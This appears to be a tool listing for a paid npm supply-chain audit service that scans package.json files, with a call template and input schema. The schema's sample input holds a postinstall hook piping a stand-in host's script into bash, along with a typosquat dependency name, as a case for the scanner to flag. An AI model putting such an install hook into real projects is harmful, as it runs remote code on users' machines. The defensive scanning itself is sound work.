security_package_json_check
package.json supply-chain check — Offline npm supply-chain audit of a package.json: install scripts that download or run remote code, known malicious and typosquat package names, versions hit by past npm compromises (event-stream, ua-parser-js, chalk/debug 2025...), unpinned and open-ended ranges, git and URL dependencies, dependency-confusion names, committed tokens, risky publish config. Verdict PASS/REVIEW/FIX BEFORE INSTALL/BLOCK with score and fixes. text= (package.json content) or url= (raw or GitHub blob link). Example: /v1/security/package-json-check?url=https://github.com/expressjs/express/blob/master/package.json Price: $0.005 USDC (Base, via x402).
Tool call template
Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.
{
"id": 1,
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"arguments": {
"text": "<text>"
},
"name": "security_package_json_check"
}
}Input Schema
| Name | Required | Description | Default |
|---|---|---|---|
| text | Yes | {"name":"demo","scripts":{"postinstall":"curl -s https://x.example/i.sh | bash"},"dependencies":{"crossenv":"^1.0.0","lodash":"*"}} |